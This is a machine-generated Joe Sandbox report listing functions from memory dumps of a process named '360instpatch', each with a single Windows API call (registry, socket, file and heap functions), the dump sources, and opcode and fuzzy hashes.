GdipDrawImageRectI.GDIPLUS(?,00000000,?,?,?,?,?,?,00B7FC56,?,?,?,00000000,?,?), ref: 00B7A2C2

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: DrawGdipImageRect
String ID:
API String ID: 2615643336-0
Opcode ID: 57e98256349b33f45eac1a576c0902249758a86366d920aef6816e6e1e3cefaa
Instruction ID: 536182f144af1ef737ce838d48ffe9821299592d8228e02331af2f04f9f7badc
Opcode Fuzzy Hash: 57e98256349b33f45eac1a576c0902249758a86366d920aef6816e6e1e3cefaa
Instruction Fuzzy Hash: 41E0483610410AAF9F518F94CD00CAB7BE9EF44350B04C465BD19C6522D732DC30FBA1

Function 00B32982 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 00B329C2

Part of subcall function 00B94656: RaiseException.KERNEL32(?,?,?,00B180B1,?,?,?,?,?,00B180B1,00BEF5B8,00BEF5B8), ref: 00B94698

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ExceptionException@8RaiseThrow
String ID:
API String ID: 3976011213-0
Opcode ID: 6c63a7c48856e3098d9297865b40794d513a34c3b29458d4c98ce4e7bddeacdd
Instruction ID: 36f0fb2977bf282bebf00ddb8235b018ce8d4519fb7b9805d841a9c8a9611f2e
Opcode Fuzzy Hash: 6c63a7c48856e3098d9297865b40794d513a34c3b29458d4c98ce4e7bddeacdd
Instruction Fuzzy Hash: 01E0927210021AEADF20AF85C802FE5BBD8EF14364F1080BAFC9C46250E7B1A984CB90

Function 6BF26CC7 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.KERNEL32(?,00000000,00000000,00000004,?,00000004,?,6BF05B99,proxytype,00000001,proxytype,?,AA5945B3), ref: 6BF26CEB

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c6fd5b8f286aabad6fcdfd43eb0f33e12f6f082e37e34d1e54d8e18cb66a9fa8
Instruction ID: 394a99f25eab9ad862c4877675bd70cc6cddebadfaf9348ebd8d720808192c50
Opcode Fuzzy Hash: c6fd5b8f286aabad6fcdfd43eb0f33e12f6f082e37e34d1e54d8e18cb66a9fa8
Instruction Fuzzy Hash: 0DE04873394208BADF009EA4C805F953768D715B55F10C026BB2ACA1D0D675D104CB50

Function 00B2898E Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,?,00000000), ref: 00B289A8

Part of subcall function 00B226C0: RegCloseKey.ADVAPI32 ref: 00B226CC

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: c0f0ac0a63e3a714fe6653ce0fb559e7839afe370eb5147e04cc602cfda12e70
Instruction ID: 05661ae292c5e4ef703517aa2b68338fefa457111db354065da2138bb7acc018
Opcode Fuzzy Hash: c0f0ac0a63e3a714fe6653ce0fb559e7839afe370eb5147e04cc602cfda12e70
Instruction Fuzzy Hash: 10E04672200218FBEF159F40DC06FAEBBADEB44314F104058F801A6260EBB5AF10DBA4

Function 6BEFAE3C Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,6BF78AA8,00000018,6BF2E73E,00000000), ref: 6BEFAE6F

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e3db67f1177c92c8ad1086a39f6127644b98b5d36cdbf135a367f2bb06e59001
Instruction ID: 53733992a5dddd89248b78b748baa4e4e80af9daecd0cb631126c020b7522750
Opcode Fuzzy Hash: e3db67f1177c92c8ad1086a39f6127644b98b5d36cdbf135a367f2bb06e59001
Instruction Fuzzy Hash: 30E0E5B2940608EFDB50DFE8C815ADDBBB0EB48320F10829AE555EB290D7788A418F64

Function 6CDE8189 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,6CDE43D3,00000001,?,?,?,6CDE454C,?,?,?,6CE25448,0000000C,6CDE4607), ref: 6CDE819E

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 4208847719243d14e3752dd0c393e999993b913ab331d2a71456929238cdcf22
Instruction ID: d5a312bc38ebdd5f06b67a4f0ea35686f4e27cf548fb1d921994904f048f71c2
Opcode Fuzzy Hash: 4208847719243d14e3752dd0c393e999993b913ab331d2a71456929238cdcf22
Instruction Fuzzy Hash: E7D05E72B947449EEF005E75AD087223BFCE385799F444536B90CC6140E771C5609540

Function 6BF4041E Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,6BF3D8C5,00000001,?,?,?,6BF3DA3E,?,?,?,6BF7C420,0000000C,6BF3DAF9), ref: 6BF40433

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: fb12626a212ee6d268aee261f2a0d011c5226237175f918561a28a763e57e82a
Instruction ID: 9869f960f384e453c095098227d88b11bec04c6c7a40cecae8a95980c975fabf
Opcode Fuzzy Hash: fb12626a212ee6d268aee261f2a0d011c5226237175f918561a28a763e57e82a
Instruction Fuzzy Hash: A6D05E339B43489AEB005F7198097223BDC9385395F148475F80CC61A1E678D580CA44

Function 6BF2FCC6 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,?,?,?,?), ref: 6BF2FCF4

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: recvfrom
String ID:
API String ID: 846543921-0
Opcode ID: ccc9fb5150ba3e475e572afb30a7dd8f13323773fc489e547ea755b58725de80
Instruction ID: 2b6d1c4b507fdb046df45b141ee07e2f71db9aff58b5042f948119b6db40a7cd
Opcode Fuzzy Hash: ccc9fb5150ba3e475e572afb30a7dd8f13323773fc489e547ea755b58725de80
Instruction Fuzzy Hash: FCE04836040109EFCF429F90C945A997F66FB19365F648099FA1A59232C732DAB2EB90

Function 00B80460 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00B48D06,?,?,.dir,?), ref: 00B8047E

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: f78be95b3f38646bfc1cd5ab0baedc80dd74fe457961b87328d345c090c1f586
Instruction ID: 660403105c523695ba9d4f2ab2a4d417a8d9372ca1ad2f243ee3afa09c660c16
Opcode Fuzzy Hash: f78be95b3f38646bfc1cd5ab0baedc80dd74fe457961b87328d345c090c1f586
Instruction Fuzzy Hash: 77D01736228212AFA654BB28F80089677E8EF892A1711489EF8C0C7230DA21EC80CA40

Function 6BF304A4 Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

WSAAsyncSelect.WS2_32(?,00000000,?,?), ref: 6BF304C4

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: AsyncSelect
String ID:
API String ID: 3214710386-0
Opcode ID: d7506ee7e89a8d9bf581b3a8e695b78c559ab365affaa04b36cbd46cf1bce694
Instruction ID: b6dfdbda22d023f857980a4b799db376c48af65d36181b0e0d226c05f37d6959
Opcode Fuzzy Hash: d7506ee7e89a8d9bf581b3a8e695b78c559ab365affaa04b36cbd46cf1bce694
Instruction Fuzzy Hash: 04E012B2564111ABD7809B38C845F1677E8EB1570EF14C479B509D6163D37BC813CB64

Function 00B1E4F0 Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 00B1E50C

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 85c656391fa175b221c7f2784af0b33f3f5a01dae46f7087bbf21f15462c5f16
Instruction ID: 01dff71382a4b963c5ccabfa8877b08aad2d7b5b6eba1d319ebd3ca4ffd5558f
Opcode Fuzzy Hash: 85c656391fa175b221c7f2784af0b33f3f5a01dae46f7087bbf21f15462c5f16
Instruction Fuzzy Hash: 91D01273342220B5E52567546C0AFCB938CDF65776F308467FB22A60C0ABB4B56146AD

Function 00B56817 Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InternetGetConnectedState.WININET(?,00000000), ref: 00B56821

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: 874f3abbfa81f409b44fc0854987ed0443c8d06fa58ccc4b51af6a9cde073243
Instruction ID: 702caebcca35603b9fe8994632265871187dd9b81af7d0854a7ac895c507e2b0
Opcode Fuzzy Hash: 874f3abbfa81f409b44fc0854987ed0443c8d06fa58ccc4b51af6a9cde073243
Instruction Fuzzy Hash: 8CD0A710B14348B6DB1093649D0AB5B37DC8F0064DF4400E45C01D30C0EAA4D988C250

Function 00B7895E Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InternetGetConnectedState.WININET(00B2BB49,00000000), ref: 00B78968

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: 874f3abbfa81f409b44fc0854987ed0443c8d06fa58ccc4b51af6a9cde073243
Instruction ID: 2453418676151c60e521134dfb1a419e76cc1a93c4111f6aab6c42466f066bdb
Opcode Fuzzy Hash: 874f3abbfa81f409b44fc0854987ed0443c8d06fa58ccc4b51af6a9cde073243
Instruction Fuzzy Hash: ECD0C711A64248B9EB019761D94EB6A76DC8B0564CF8445E49526E21D1EEA4D900D2A1

Function 6CD3D558 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee6605a03de1b0142f79031df0aef36433da1b53f244ff9e9771e9285064da4
Instruction ID: 513e9d4435f90486ae3482a9731d94f47977ce9c76f46282133be73c3202cfc7
Opcode Fuzzy Hash: cee6605a03de1b0142f79031df0aef36433da1b53f244ff9e9771e9285064da4
Instruction Fuzzy Hash: CBD05EB1A191208EEB408F65BC087C233B8EB42319F5454ACF444DA000E33258828AA4

Function 6BF2C5B6 Relevance: 1.5, APIs: 1, Instructions: 15timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000000,00000064,00000000), ref: 6BF2C5D6

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 660e6faadcbfc0cc6aed5cf6dd63474e40075557623a023e501dd101a3033934
Instruction ID: d419b2e5396ab58f31603281c05904dc6d820d7f2819d0404139bc36dbfd82f5
Opcode Fuzzy Hash: 660e6faadcbfc0cc6aed5cf6dd63474e40075557623a023e501dd101a3033934
Instruction Fuzzy Hash: BCD0C9B3661201AAFB908B289CA6F1936E2E716714F7104E1F214EA4F0C775D9988605

Function 6BF2FE29 Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 6BF2FE47

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 136d3de95ff93e8f476513781e6d6468806ab420255770a484f058b5727560ce
Instruction ID: 2cb175c13bba06c2a495e4a9e91b1e26913d421be668598e62d648fb6d674b3d
Opcode Fuzzy Hash: 136d3de95ff93e8f476513781e6d6468806ab420255770a484f058b5727560ce
Instruction Fuzzy Hash: 99D06776140608EFCB429F84D844FA57BA5FB19325F6480D9F6190A572C737D8B2DF84

Function 6BF2FC9E Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 6BF2FCBC

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 3f661ff6bf235ed516ea849cd5c29caf5180930123cf0874ed4cb0f355efc129
Instruction ID: 39e54ac2c48ada32e1b4a8baf1bd906c4b384e5e00b4e18a945b5f6f0ec5ba49
Opcode Fuzzy Hash: 3f661ff6bf235ed516ea849cd5c29caf5180930123cf0874ed4cb0f355efc129
Instruction Fuzzy Hash: 6BD06737140608EFCB419F80D944FA57BA5FB19325F648099FA180A671C737D972DF80

Function 6BF26CFE Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.KERNEL32(?,00000000,6BF05DF0,ieproxy), ref: 6BF26D11

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: DeleteValue
String ID:
API String ID: 1108222502-0
Opcode ID: 81d0043212187da8b5ff86613622e1cff8a90f9dc3b97e6e86ac3aba1666a9f7
Instruction ID: 2d85464015cbaaab6016fb07cee9549813c34df55f95403be00dd09f761d6d26
